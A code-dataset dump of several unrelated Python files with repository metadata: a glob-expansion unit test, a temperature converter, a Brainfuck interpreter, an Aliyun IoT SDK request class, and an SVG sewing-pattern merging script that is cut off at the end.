"ba?", "0") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), self.Path("quux", "bar", "0"), self.Path("quux", "baz", "0"), ]) def testRecursion(self): self.Touch("foo", "bar", "baz", "0") self.Touch("foo", "bar", "0") self.Touch("foo", "quux", "0") self.Touch("foo", "quux", "1") path = self.Path("foo", "**", "0") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "baz", "0"), self.Path("foo", "bar", "0"), self.Path("foo", "quux", "0"), ]) def testMixed(self): self.Touch("foo", "bar", "0") self.Touch("norf", "bar", "0") self.Touch("norf", "baz", "0") self.Touch("norf", "baz", "1") self.Touch("norf", "baz", "7") self.Touch("quux", "bar", "0") self.Touch("quux", "baz", "1") self.Touch("quux", "baz", "2") path = self.Path("**", "ba?", "[0-2]") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), self.Path("norf", "bar", "0"), self.Path("norf", "baz", "0"), self.Path("norf", "baz", "1"), self.Path("quux", "bar", "0"), self.Path("quux", "baz", "1"), self.Path("quux", "baz", "2"), ]) def testEmpty(self): with self.assertRaises(ValueError): list(globbing.ExpandGlobs("")) def testRelative(self): with self.assertRaises(ValueError): list(globbing.ExpandGlobs(os.path.join("foo", "bar"))) def testCurrent(self): self.Touch("foo", "bar", "0") self.Touch("foo", "bar", "1") self.Touch("quux", "bar", "0") path = self.Path("foo", os.path.curdir, "bar", "*") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), self.Path("foo", "bar", "1"), ]) path = self.Path(os.path.curdir, "*", "bar", "0") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), self.Path("quux", "bar", "0"), ]) def testParent(self): self.Touch("foo", "0") self.Touch("foo", "1") self.Touch("foo", "bar", "0") self.Touch("bar", "0") path = self.Path("foo", "*") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo", "0"), self.Path("foo", "1"), self.Path("foo", "bar"), ]) path = self.Path("foo", os.path.pardir, "*") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("bar"), ]) class ExpandPathTest(DirHierarchyTestMixin, unittest.TestCase): def testGlobAndGroup(self): self.Touch("foo", "bar", "0") self.Touch("foo", "bar", "1") self.Touch("foo", "baz", "0") self.Touch("foo", "baz", "1") self.Touch("foo", "quux", "0") self.Touch("foo", "quux", "1") path = self.Path("foo/ba{r,z}/*") results = list(globbing.ExpandPath(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), self.Path("foo", "bar", "1"), self.Path("foo", "baz", "0"), self.Path("foo", "baz", "1"), ]) path = self.Path("foo/ba*/{0,1}") results = list(globbing.ExpandPath(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), self.Path("foo", "bar", "1"), self.Path("foo", "baz", "0"), self.Path("foo", "baz", "1"), ]) def testRecursiveAndGroup(self): self.Touch("foo", "0") self.Touch("foo", "1") self.Touch("foo", "bar", "0") self.Touch("foo", "baz", "quux", "0") path = self.Path("foo/**") results = list(globbing.ExpandPath(path)) self.assertItemsEqual(results, [ self.Path("foo", "0"), self.Path("foo", "1"), self.Path("foo", "bar"), self.Path("foo", "baz"), self.Path("foo", "bar", "0"), self.Path("foo", "baz", "quux"), self.Path("foo", "baz", "quux", "0"), ]) path = self.Path("foo/{.,**}") results = list(globbing.ExpandPath(path)) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("foo", "0"), self.Path("foo", "1"), self.Path("foo", "bar"), self.Path("foo", "baz"), self.Path("foo", "bar", "0"), self.Path("foo", "baz", "quux"), self.Path("foo", "baz", "quux", "0"), ]) def main(argv): test_lib.main(argv) if __name__ == "__main__": flags.StartMain(main)
true
true
f7f3b47d5e1c8ec45536ea893a9b6b9dda52ed49
754
py
Python
temperaturafahrenheit.py
MatheusSouza70/Exerc-cios-Python
f8878a0c9d62e49db61dcbce0ee10a161e12a894
[ "MIT" ]
1
2022-03-14T01:35:09.000Z
2022-03-14T01:35:09.000Z
temperaturafahrenheit.py
MatheusSouza70/Exerc-cios-Python
f8878a0c9d62e49db61dcbce0ee10a161e12a894
[ "MIT" ]
null
null
null
temperaturafahrenheit.py
MatheusSouza70/Exerc-cios-Python
f8878a0c9d62e49db61dcbce0ee10a161e12a894
[ "MIT" ]
null
null
null
check = float(input("Informe um número para converter a temperatura: 1- Celsius para Fahrenheit, 2- Celsius para Kelvin, 3- Fahrenheit para Celsius, 4- Fahrenheit para Kelvin, 5- Kelvin para Celsius, 6- Kelvin para Fahrenheit: ")) temperatura = float(input("Informe o valor a ser convertido: ")) resultado = float if check == 1: resultado = (temperatura * 1.8) + 32 elif check == 2: resultado = temperatura + 273 elif check == 3: resultado = 5* (temperatura - 32) / 9 elif check == 4: resultado = (temperatura-32) * 5/9 + 273 elif check == 5: resultado = temperatura - 273 elif check == 6: resultado = (temperatura - 273) *1.8 + 32 print("O valor escolhido foi convertido para: {}" .format(resultado))
34.272727
231
0.659151
check = float(input("Informe um número para converter a temperatura: 1- Celsius para Fahrenheit, 2- Celsius para Kelvin, 3- Fahrenheit para Celsius, 4- Fahrenheit para Kelvin, 5- Kelvin para Celsius, 6- Kelvin para Fahrenheit: ")) temperatura = float(input("Informe o valor a ser convertido: ")) resultado = float if check == 1: resultado = (temperatura * 1.8) + 32 elif check == 2: resultado = temperatura + 273 elif check == 3: resultado = 5* (temperatura - 32) / 9 elif check == 4: resultado = (temperatura-32) * 5/9 + 273 elif check == 5: resultado = temperatura - 273 elif check == 6: resultado = (temperatura - 273) *1.8 + 32 print("O valor escolhido foi convertido para: {}" .format(resultado))
true
true
f7f3b488542f46d59147d240cef774ef34d05063
6,614
py
Python
bf.py
1ced/pybf
011425a80d77f3077d5a607d73d476ff733d8446
[ "MIT" ]
1
2018-02-01T15:45:29.000Z
2018-02-01T15:45:29.000Z
bf.py
1ced/pybf
011425a80d77f3077d5a607d73d476ff733d8446
[ "MIT" ]
null
null
null
bf.py
1ced/pybf
011425a80d77f3077d5a607d73d476ff733d8446
[ "MIT" ]
null
null
null
class bf_core: def __init__(self): self.instructions = [] self.ops = {'>':self.inc_dp, '<':self.dec_dp, '+':self.inc_reg, '-':self.dec_reg, '.':self.reg_print, ',':self.reg_store, '[':self.loop_enter, ']':self.loop_end} self.dp = 0 self.pc = 0 self.reg = [0] self.maxreg = len(self.reg) self.stack = [] self.outreg = 0 self.outdv = 0 self.inreg = 0 self.verbose = True #program info self.instructioncount = 0 self.memoryused = 1 #============================================================ #Increment data pointer operation (> operator) #============================================================ def inc_dp(self): self.dp = self.dp + 1 while len(self.reg) < self.dp+1 : self.reg.append(0) self.memoryused = len(self.reg) self.pc = self.pc + 1 #============================================================ #Decrement the data pointer (< operator) #============================================================ def dec_dp(self): self.dp = self.dp - 1 if self.dp < 0: print "data pointer underflow on instruction {0}, exiting".format(self.pc) self.gtfo() else: self.pc = self.pc + 1 #============================================================ #Increment the register (+ operator) #============================================================ def inc_reg(self): self.reg[self.dp] = self.reg[self.dp] + 1 self.pc = self.pc + 1 #============================================================ #Decrement the register (- operator) #============================================================ def dec_reg(self): self.reg[self.dp] = self.reg[self.dp] - 1 self.pc = self.pc + 1 #============================================================ #Output the data in register (. operator) #============================================================ def reg_print(self): self.VerbosePrint(self.reg[self.dp]) self.outreg = self.reg[self.dp] self.outdv = 1 self.pc = self.pc + 1 #============================================================ #Store data in a register (, operator) #============================================================ def reg_store(self): print self.inreg self.reg[self.dp] = self.inreg self.pc = self.pc + 1 #============================================================ #Loop entry ([ operator) #============================================================ def loop_enter(self): #look and see if we are going into an infinite loop if self.instructions[self.pc+1] == ']': print "infinite loop detected (empty loop) at op {0}".format(self.pc) self.gtfo() #if it looks safe, store the address of the first op in the loop stack else: self.stack.append(self.pc+1) self.pc = self.pc + 1 #============================================================ #Loop exit test (] operator) #============================================================ def loop_end(self): #break the loop if the register pointed to by the data pointer is 0 if self.reg[self.dp] == 0: self.pc = self.pc+1 #if for some reason, like an extra ']' happens, catch the stack underflow try: self.stack.pop() except: print "loop stack underflow at instruction {0}, exiting".format(self.pc) self.gtfo() try: self.VerbosePrint("breaking loop, stack ptr val: {0}, pc: {1}, dp: {2}, reg: {3}".format(self.stack[-1],self.pc, self.dp, self.reg[self.dp])) except: self.VerbosePrint("breaking loop, stack ptr val: {0}, pc: {1}, dp: {2}, reg: {3}".format('empty',self.pc, self.dp, self.reg[self.dp])) #the data poiner points to a register containing a value greater than zero, loop again else: #set the program counter back to the beginning of the loop self.VerbosePrint("looping, stack ptr val: {0}, pc: {1}, dp: {2}, reg: {3}".format(self.stack[-1],self.pc, self.dp, self.reg[self.dp])) self.pc = self.stack[-1] #============================================================ #Single step an instruction #============================================================ def step(self,data=None): self.PrintCore() if self.pc > self.instructioncount-1: print "exiting bc pc: ({0}) > program length: ({1})".format(self.pc,self.instructioncount) self.Terminator() return None else: inst = self.instructions[self.pc] self.VerbosePrint("step: executing " + inst) self.outdv = 0 self.ops[inst]() #check to see if we are outputting data on this instruction return (self.outdv, self.outreg) #============================================================ #Run #============================================================ def Run(self,pgm,addr=0): pass #============================================================ #Load a program #============================================================ def Load(self,pgm): self.dp = 0 self.reg = [0] self.pc = 0 self.maxreg = len(self.reg) self.stack = [] self.outreg = 0 self.outdv = 0 self.memoryused = 1 #program info self.instructions = [] self.instructioncount = 0 for op in pgm: self.instructions.append(op) self.instructioncount = len(self.instructions) #============================================================ #Program terminiation due to exception #============================================================ def gtfo(self): self.pc = len(self.instructions)+1 #************************************************************ #Reporting Utility Functions #************************************************************ def Terminator(self): print "program exited normally" def VerbosePrint(self,msg): if self.verbose == True: print msg def PrintPgmMemory(self): pgmstr = '' for n in self.instructions: pgmstr += n print "{0} bytes: ".format(self.instructioncount) , pgmstr def PrintRegisters(self): print 'registers: ', self.reg def PrintCore(self): print """core info:\n\ Data Pointer: {0} ({8}) Program Counter: {1} Registers: {2} Loop Stack: {3} Output Register: {4} Input Register: {5} Program Size: {6} Memory Used: {7} """\ .format(\ self.dp,\ self.pc,\ self.reg,\ self.stack,\ self.outreg,\ self.inreg,\ self.instructioncount,\ self.memoryused,\ self.reg[self.dp]\ ) #program info def PrintState(self): self.PrintCore()
26.350598
164
0.461597
class bf_core: def __init__(self): self.instructions = [] self.ops = {'>':self.inc_dp, '<':self.dec_dp, '+':self.inc_reg, '-':self.dec_reg, '.':self.reg_print, ',':self.reg_store, '[':self.loop_enter, ']':self.loop_end} self.dp = 0 self.pc = 0 self.reg = [0] self.maxreg = len(self.reg) self.stack = [] self.outreg = 0 self.outdv = 0 self.inreg = 0 self.verbose = True self.instructioncount = 0 self.memoryused = 1 def inc_dp(self): self.dp = self.dp + 1 while len(self.reg) < self.dp+1 : self.reg.append(0) self.memoryused = len(self.reg) self.pc = self.pc + 1 def dec_dp(self): self.dp = self.dp - 1 if self.dp < 0: print "data pointer underflow on instruction {0}, exiting".format(self.pc) self.gtfo() else: self.pc = self.pc + 1 def inc_reg(self): self.reg[self.dp] = self.reg[self.dp] + 1 self.pc = self.pc + 1 def dec_reg(self): self.reg[self.dp] = self.reg[self.dp] - 1 self.pc = self.pc + 1 def reg_print(self): self.VerbosePrint(self.reg[self.dp]) self.outreg = self.reg[self.dp] self.outdv = 1 self.pc = self.pc + 1 def reg_store(self): print self.inreg self.reg[self.dp] = self.inreg self.pc = self.pc + 1 def loop_enter(self): if self.instructions[self.pc+1] == ']': print "infinite loop detected (empty loop) at op {0}".format(self.pc) self.gtfo() else: self.stack.append(self.pc+1) self.pc = self.pc + 1 def loop_end(self): if self.reg[self.dp] == 0: self.pc = self.pc+1 try: self.stack.pop() except: print "loop stack underflow at instruction {0}, exiting".format(self.pc) self.gtfo() try: self.VerbosePrint("breaking loop, stack ptr val: {0}, pc: {1}, dp: {2}, reg: {3}".format(self.stack[-1],self.pc, self.dp, self.reg[self.dp])) except: self.VerbosePrint("breaking loop, stack ptr val: {0}, pc: {1}, dp: {2}, reg: {3}".format('empty',self.pc, self.dp, self.reg[self.dp])) else: self.VerbosePrint("looping, stack ptr val: {0}, pc: {1}, dp: {2}, reg: {3}".format(self.stack[-1],self.pc, self.dp, self.reg[self.dp])) self.pc = self.stack[-1] def step(self,data=None): self.PrintCore() if self.pc > self.instructioncount-1: print "exiting bc pc: ({0}) > program length: ({1})".format(self.pc,self.instructioncount) self.Terminator() return None else: inst = self.instructions[self.pc] self.VerbosePrint("step: executing " + inst) self.outdv = 0 self.ops[inst]() return (self.outdv, self.outreg) def Run(self,pgm,addr=0): pass def Load(self,pgm): self.dp = 0 self.reg = [0] self.pc = 0 self.maxreg = len(self.reg) self.stack = [] self.outreg = 0 self.outdv = 0 self.memoryused = 1 self.instructions = [] self.instructioncount = 0 for op in pgm: self.instructions.append(op) self.instructioncount = len(self.instructions) def gtfo(self): self.pc = len(self.instructions)+1 def Terminator(self): print "program exited normally" def VerbosePrint(self,msg): if self.verbose == True: print msg def PrintPgmMemory(self): pgmstr = '' for n in self.instructions: pgmstr += n print "{0} bytes: ".format(self.instructioncount) , pgmstr def PrintRegisters(self): print 'registers: ', self.reg def PrintCore(self): print """core info:\n\ Data Pointer: {0} ({8}) Program Counter: {1} Registers: {2} Loop Stack: {3} Output Register: {4} Input Register: {5} Program Size: {6} Memory Used: {7} """\ .format(\ self.dp,\ self.pc,\ self.reg,\ self.stack,\ self.outreg,\ self.inreg,\ self.instructioncount,\ self.memoryused,\ self.reg[self.dp]\ ) def PrintState(self): self.PrintCore()
false
true
f7f3b63910b5361bd8e6bb2b5385408bfbb54cd2
1,472
py
Python
aliyun-python-sdk-iot/aliyunsdkiot/request/v20180120/GenerateDeviceNameListURLRequest.py
liuzheng/aliyun-openapi-python-sdk
1ba6743f3d6f2cef57ec9e3be1754b04293c3150
[ "Apache-2.0" ]
null
null
null
aliyun-python-sdk-iot/aliyunsdkiot/request/v20180120/GenerateDeviceNameListURLRequest.py
liuzheng/aliyun-openapi-python-sdk
1ba6743f3d6f2cef57ec9e3be1754b04293c3150
[ "Apache-2.0" ]
null
null
null
aliyun-python-sdk-iot/aliyunsdkiot/request/v20180120/GenerateDeviceNameListURLRequest.py
liuzheng/aliyun-openapi-python-sdk
1ba6743f3d6f2cef57ec9e3be1754b04293c3150
[ "Apache-2.0" ]
null
null
null
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # # http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from aliyunsdkcore.request import RpcRequest from aliyunsdkiot.endpoint import endpoint_data class GenerateDeviceNameListURLRequest(RpcRequest): def __init__(self): RpcRequest.__init__(self, 'Iot', '2018-01-20', 'GenerateDeviceNameListURL') self.set_method('POST') if hasattr(self, "endpoint_map"): setattr(self, "endpoint_map", endpoint_data.getEndpointMap()) if hasattr(self, "endpoint_regional"): setattr(self, "endpoint_regional", endpoint_data.getEndpointRegional()) def get_IotInstanceId(self): return self.get_query_params().get('IotInstanceId') def set_IotInstanceId(self,IotInstanceId): self.add_query_param('IotInstanceId',IotInstanceId)
38.736842
78
0.775136
from aliyunsdkcore.request import RpcRequest from aliyunsdkiot.endpoint import endpoint_data class GenerateDeviceNameListURLRequest(RpcRequest): def __init__(self): RpcRequest.__init__(self, 'Iot', '2018-01-20', 'GenerateDeviceNameListURL') self.set_method('POST') if hasattr(self, "endpoint_map"): setattr(self, "endpoint_map", endpoint_data.getEndpointMap()) if hasattr(self, "endpoint_regional"): setattr(self, "endpoint_regional", endpoint_data.getEndpointRegional()) def get_IotInstanceId(self): return self.get_query_params().get('IotInstanceId') def set_IotInstanceId(self,IotInstanceId): self.add_query_param('IotInstanceId',IotInstanceId)
true
true
f7f3b646e3d5139eb2c346ceede6a232bd35ba76
9,615
py
Python
merge_pieces.py
CatherineH/python-sewing
01873f6341c7ce8e26d4e61aab9d52a586d667f6
[ "MIT" ]
6
2019-12-25T20:16:33.000Z
2021-11-03T22:21:51.000Z
merge_pieces.py
CatherineH/python-sewing
01873f6341c7ce8e26d4e61aab9d52a586d667f6
[ "MIT" ]
null
null
null
merge_pieces.py
CatherineH/python-sewing
01873f6341c7ce8e26d4e61aab9d52a586d667f6
[ "MIT" ]
null
null
null
from svgpathtools import svg2paths, Path, Line from svgwrite import Drawing, rgb import argparse from math import atan, asin, sin, cos, pi from numpy import argmin from utils import calc_overall_bbox parser = argparse.ArgumentParser( description='Generate a merged piece from two pieces by stretching the pattern piece along an edge') parser.add_argument('--filename', type=str, help='The filename of the svg with at least two pattern pieces.') class Intersection(object): def __init__(self, point=1.0+1.0*1j, diff=0.0): self.point = point self.diff = diff class PathClip(object): def __init__(self, index=0, t=0.0, target=1.0+1.0*1j): self.index = index self.t = t self.target = target def flatten_shape(i, all_paths, merge_paths): dwg = Drawing("merge_output%s.svg" % i, profile='tiny') def draw_line(start, end, offset=0.0): start += offset end += offset dwg.add(dwg.line(start=(start.real, start.imag), end=(end.real, end.imag), stroke_width=4, stroke=rgb(255, 0, 0))) dwg.add(dwg.path(**{'d': all_paths[i].d(), 'fill': "none", 'stroke-width': 4, 'stroke': rgb(0, 0, 0)})) dwg.add(dwg.path(**{'d': merge_paths[i].d(), 'fill': "none", 'stroke-width': 4, 'stroke': rgb(255, 0, 0)})) bbox = calc_overall_bbox(all_paths[i]) width, height = abs(bbox[1] - bbox[0]), abs(bbox[3] - bbox[2]) margin = 40 lower = min(bbox[2], bbox[3]) + height+margin left = min(bbox[0], bbox[1]) + margin def draw_marker(loc, col=rgb(255, 0, 0), offset=(left, lower)): dwg.add(dwg.circle(center=(loc.real + offset[0], loc.imag + offset[1]), r=4, fill=col)) max_axis = max(width, height) num_lines = 10 points = [merge_paths[i].point(j / num_lines) for j in range(num_lines)] + [ merge_paths[i].point(1.0)] angles = [ asin((points[j + 1].imag - points[j].imag) / abs(points[j + 1] - points[j])) for j in range(num_lines)] ends = [max_axis * (sin(angle) + cos(angle) * 1j) for angle in angles] intersection_clips = [] for j, end in enumerate(ends): end_point = end + points[j] intersections = other_paths[i].intersect(Line(start=points[j], end=end_point)) for intersection in intersections[0]: intersection_point = intersection[1].point(intersection[2]) target = merge_paths[i].length()*(1-j/num_lines) + abs(intersection_point - points[j])*1j intersection_clips.append(PathClip(index=other_paths[i].index(intersection[1]), t=intersection[2], target=target)) if j % 10 == 0: draw_line(points[j], intersection_point) draw_marker(intersection_point, rgb(0, 255, 0), (0, 0)) break # make the flexed points by chopping the chunks of the other paths out, then # translating and rotating them such that their end points line up with the diff lines def transform_side(sides, targets, angle_offset=0): def angle(point1, point2): diff = point1-point2 if diff.real == 0: return 90.0 return atan(diff.imag / diff.real)*180.0/pi # change this so that it has two targets transformed_side = Path(*sides) source_angle = angle(transformed_side.end, transformed_side.start) - \ angle(targets[0], targets[1]) transformed_side = transformed_side.rotated(-source_angle+angle_offset) source = transformed_side.end if angle_offset == 0 else transformed_side.start diff = targets[1] - source transformed_side = transformed_side.translated(diff) draw_marker(targets[0], rgb(0, 200, 200)) draw_marker(targets[1], rgb(0, 255, 255)) transformed_diff = abs(transformed_side.start - transformed_side.end) targets_diff = abs(targets[0]-targets[1]) if transformed_diff < targets_diff : transformed_side.insert(0, Line(start=targets[0], end=transformed_side.start)) elif transformed_diff > targets_diff: # pop elements off until the transformed diff is smaller while transformed_diff > targets_diff: transformed_side.pop(0) transformed_diff = abs(transformed_side.start - transformed_side.end) print("path", transformed_side) print("path is longer", transformed_diff-targets_diff) return transformed_side start_index = 0 curr_t = 0 flexed_path = [] t_resolution = 0.01 if intersection_clips[0].index > intersection_clips[-1].index or \ (intersection_clips[0].index == intersection_clips[-1].index and intersection_clips[0].t > intersection_clips[-1].t): intersection_clips.reverse() # add the end of the shape to the intersection clips intersection_clips.append(PathClip(index=len(other_paths[i])-1, t=1.0, target=merge_paths[i].length())) last_target = 0 for clip in intersection_clips: sides = [] print("boundaries", start_index, clip.index, curr_t, clip.t) upper_t = clip.t if start_index == clip.index else 1.0 while start_index <= clip.index and curr_t < upper_t: curr_seg = other_paths[i][start_index] while curr_t < upper_t: max_t = curr_t + t_resolution if curr_t+t_resolution < clip.t else clip.t sides.append(Line(start=curr_seg.point(curr_t), end=curr_seg.point(max_t))) curr_t += t_resolution curr_t = upper_t if start_index != clip.index: curr_t = 0.0 if upper_t == 1.0: start_index += 1 upper_t = clip.t if start_index == clip.index else 1.0 if len(sides) != 0: flexed_path.append(transform_side(sides, [last_target, clip.target])) last_target = clip.target straight_path = [Line(start=0, end=merge_paths[i].length())] for p in flexed_path: p = p.translated(left+lower*1j) dwg.add(dwg.path(d=p.d(), fill="none", stroke_width=4, stroke=rgb(255, 0, 0))) transformed_path = flexed_path + straight_path transformed_path = Path(*transformed_path).translated(left + lower*1j) dwg.add(dwg.path(d=transformed_path.d(), fill="none", stroke_width=4, stroke=rgb(0, 0, 0))) bbox = calc_overall_bbox(list(all_paths[i]) + list(transformed_path)) width, height = abs(bbox[1] - bbox[0]), abs(bbox[3] - bbox[2]) dwg.viewbox(min(bbox[0], bbox[1]), min(bbox[2], bbox[3]), width, height) dwg.save() return flexed_path if __name__ == "__main__": args = parser.parse_args() all_paths, attributes = svg2paths(args.filename) # how do we figure out what sections of the path are linked? diffs = [[abs(i.start - j.start) for j in all_paths[0]] for i in all_paths[1]] # get the location of the lowest value of the diffs - this will tell us the offset diff_min = [argmin(diff) for diff in diffs] offset_diffs = [diff_min[i + 1] - diff_min[i] for i in range(len(diff_min) - 1)] # pull out the longest contiguous section of 1s start_one = offset_diffs.index(1) end_one = offset_diffs[::-1].index(1) # for each of the shapes, construct a new shape where the section in the merge paths # is straight merge_paths = [Path(*list(all_paths[i])[start_one:end_one]) for i in range(0, 2)] other_paths = [Path(*list(all_paths[i])[end_one:]+list(all_paths[i])[0:start_one]) for i in range(0, 2)] flexed_paths = [flatten_shape(i, all_paths, merge_paths) for i in range(0, 2)] dwg = Drawing("flexed_sides.svg", profile="tiny") upper_sizes = [0, 0] for i, path_list in enumerate(flexed_paths): bbox = calc_overall_bbox(path_list) if i == 0: upper_sizes = [max(bbox[0], bbox[1]), abs(bbox[3] - bbox[2])] transform = "scale(1, {})".format(-1 if i == 0 else 1) group = dwg.add(dwg.g(transform=transform)) for path in path_list: path = path.translated(-min(bbox[2], bbox[3])*1j) group.add(dwg.path(**{'d': path.d(), 'fill': "none", 'stroke-width': 4, 'stroke': rgb(0, 0, 0)})) bbox = calc_overall_bbox(flexed_paths[1]) dwg.viewbox(min(bbox[0], bbox[1]), -upper_sizes[1], abs(min(bbox[0], bbox[1]) -max(bbox[0], bbox[1], upper_sizes[0])), abs(bbox[3] - bbox[2])+upper_sizes[1]) dwg.save() # render the shapes selected dwg = Drawing("merge_output.svg", profile='tiny') for path in all_paths: dwg.add(dwg.path( **{'d': path.d(), 'fill': "none", 'stroke-width': 4, 'stroke': rgb(0, 0, 0)})) dwg.add(dwg.path(**{'d': merge_paths[0].d(), 'fill': "none", 'stroke-width': 4, 'stroke': rgb(255, 0, 0)})) dwg.add(dwg.path(**{'d': merge_paths[1].d(), 'fill': "none", 'stroke-width': 4, 'stroke': rgb(0, 255, 0)})) bbox = calc_overall_bbox([x for x in all_paths[0]] + [x for x in all_paths[1]]) dwg.viewbox(min(bbox[0], bbox[1]), min(bbox[2], bbox[3]), abs(bbox[1] - bbox[0]), abs(bbox[3] - bbox[2])) dwg.save()
46.449275
104
0.594904
from svgpathtools import svg2paths, Path, Line from svgwrite import Drawing, rgb import argparse from math import atan, asin, sin, cos, pi from numpy import argmin from utils import calc_overall_bbox parser = argparse.ArgumentParser( description='Generate a merged piece from two pieces by stretching the pattern piece along an edge') parser.add_argument('--filename', type=str, help='The filename of the svg with at least two pattern pieces.') class Intersection(object): def __init__(self, point=1.0+1.0*1j, diff=0.0): self.point = point self.diff = diff class PathClip(object): def __init__(self, index=0, t=0.0, target=1.0+1.0*1j): self.index = index self.t = t self.target = target def flatten_shape(i, all_paths, merge_paths): dwg = Drawing("merge_output%s.svg" % i, profile='tiny') def draw_line(start, end, offset=0.0): start += offset end += offset dwg.add(dwg.line(start=(start.real, start.imag), end=(end.real, end.imag), stroke_width=4, stroke=rgb(255, 0, 0))) dwg.add(dwg.path(**{'d': all_paths[i].d(), 'fill': "none", 'stroke-width': 4, 'stroke': rgb(0, 0, 0)})) dwg.add(dwg.path(**{'d': merge_paths[i].d(), 'fill': "none", 'stroke-width': 4, 'stroke': rgb(255, 0, 0)})) bbox = calc_overall_bbox(all_paths[i]) width, height = abs(bbox[1] - bbox[0]), abs(bbox[3] - bbox[2]) margin = 40 lower = min(bbox[2], bbox[3]) + height+margin left = min(bbox[0], bbox[1]) + margin def draw_marker(loc, col=rgb(255, 0, 0), offset=(left, lower)): dwg.add(dwg.circle(center=(loc.real + offset[0], loc.imag + offset[1]), r=4, fill=col)) max_axis = max(width, height) num_lines = 10 points = [merge_paths[i].point(j / num_lines) for j in range(num_lines)] + [ merge_paths[i].point(1.0)] angles = [ asin((points[j + 1].imag - points[j].imag) / abs(points[j + 1] - points[j])) for j in range(num_lines)] ends = [max_axis * (sin(angle) + cos(angle) * 1j) for angle in angles] intersection_clips = [] for j, end in enumerate(ends): end_point = end + points[j] intersections = other_paths[i].intersect(Line(start=points[j], end=end_point)) for intersection in intersections[0]: intersection_point = intersection[1].point(intersection[2]) target = merge_paths[i].length()*(1-j/num_lines) + abs(intersection_point - points[j])*1j intersection_clips.append(PathClip(index=other_paths[i].index(intersection[1]), t=intersection[2], target=target)) if j % 10 == 0: draw_line(points[j], intersection_point) draw_marker(intersection_point, rgb(0, 255, 0), (0, 0)) break def transform_side(sides, targets, angle_offset=0): def angle(point1, point2): diff = point1-point2 if diff.real == 0: return 90.0 return atan(diff.imag / diff.real)*180.0/pi transformed_side = Path(*sides) source_angle = angle(transformed_side.end, transformed_side.start) - \ angle(targets[0], targets[1]) transformed_side = transformed_side.rotated(-source_angle+angle_offset) source = transformed_side.end if angle_offset == 0 else transformed_side.start diff = targets[1] - source transformed_side = transformed_side.translated(diff) draw_marker(targets[0], rgb(0, 200, 200)) draw_marker(targets[1], rgb(0, 255, 255)) transformed_diff = abs(transformed_side.start - transformed_side.end) targets_diff = abs(targets[0]-targets[1]) if transformed_diff < targets_diff : transformed_side.insert(0, Line(start=targets[0], end=transformed_side.start)) elif transformed_diff > targets_diff: while transformed_diff > targets_diff: transformed_side.pop(0) transformed_diff = abs(transformed_side.start - transformed_side.end) print("path", transformed_side) print("path is longer", transformed_diff-targets_diff) return transformed_side start_index = 0 curr_t = 0 flexed_path = [] t_resolution = 0.01 if intersection_clips[0].index > intersection_clips[-1].index or \ (intersection_clips[0].index == intersection_clips[-1].index and intersection_clips[0].t > intersection_clips[-1].t): intersection_clips.reverse() intersection_clips.append(PathClip(index=len(other_paths[i])-1, t=1.0, target=merge_paths[i].length())) last_target = 0 for clip in intersection_clips: sides = [] print("boundaries", start_index, clip.index, curr_t, clip.t) upper_t = clip.t if start_index == clip.index else 1.0 while start_index <= clip.index and curr_t < upper_t: curr_seg = other_paths[i][start_index] while curr_t < upper_t: max_t = curr_t + t_resolution if curr_t+t_resolution < clip.t else clip.t sides.append(Line(start=curr_seg.point(curr_t), end=curr_seg.point(max_t))) curr_t += t_resolution curr_t = upper_t if start_index != clip.index: curr_t = 0.0 if upper_t == 1.0: start_index += 1 upper_t = clip.t if start_index == clip.index else 1.0 if len(sides) != 0: flexed_path.append(transform_side(sides, [last_target, clip.target])) last_target = clip.target straight_path = [Line(start=0, end=merge_paths[i].length())] for p in flexed_path: p = p.translated(left+lower*1j) dwg.add(dwg.path(d=p.d(), fill="none", stroke_width=4, stroke=rgb(255, 0, 0))) transformed_path = flexed_path + straight_path transformed_path = Path(*transformed_path).translated(left + lower*1j) dwg.add(dwg.path(d=transformed_path.d(), fill="none", stroke_width=4, stroke=rgb(0, 0, 0))) bbox = calc_overall_bbox(list(all_paths[i]) + list(transformed_path)) width, height = abs(bbox[1] - bbox[0]), abs(bbox[3] - bbox[2]) dwg.viewbox(min(bbox[0], bbox[1]), min(bbox[2], bbox[3]), width, height) dwg.save() return flexed_path if __name__ == "__main__": args = parser.parse_args() all_paths, attributes = svg2paths(args.filename) diffs = [[abs(i.start - j.start) for j in all_paths[0]] for i in all_paths[1]] diff_min = [argmin(diff) for diff in diffs] offset_diffs = [diff_min[i + 1] - diff_min[i] for i in range(len(diff_min) - 1)] start_one = offset_diffs.index(1) end_one = offset_diffs[::-1].index(1) merge_paths = [Path(*list(all_paths[i])[start_one:end_one]) for i in range(0, 2)] other_paths = [Path(*list(all_paths[i])[end_one:]+list(all_paths[i])[0:start_one]) for i in range(0, 2)] flexed_paths = [flatten_shape(i, all_paths, merge_paths) for i in range(0, 2)] dwg = Drawing("flexed_sides.svg", profile="tiny") upper_sizes = [0, 0] for i, path_list in enumerate(flexed_paths): bbox = calc_overall_bbox(path_list) if i == 0: upper_sizes = [max(bbox[0], bbox[1]), abs(bbox[3] - bbox[2])] transform = "scale(1, {})".format(-1 if i == 0 else 1) group = dwg.add(dwg.g(transform=transform)) for path in path_list: path = path.translated(-min(bbox[2], bbox[3])*1j) group.add(dwg.path(**{'d': path.d(), 'fill': "none", 'stroke-width': 4, 'stroke': rgb(0, 0, 0)})) bbox = 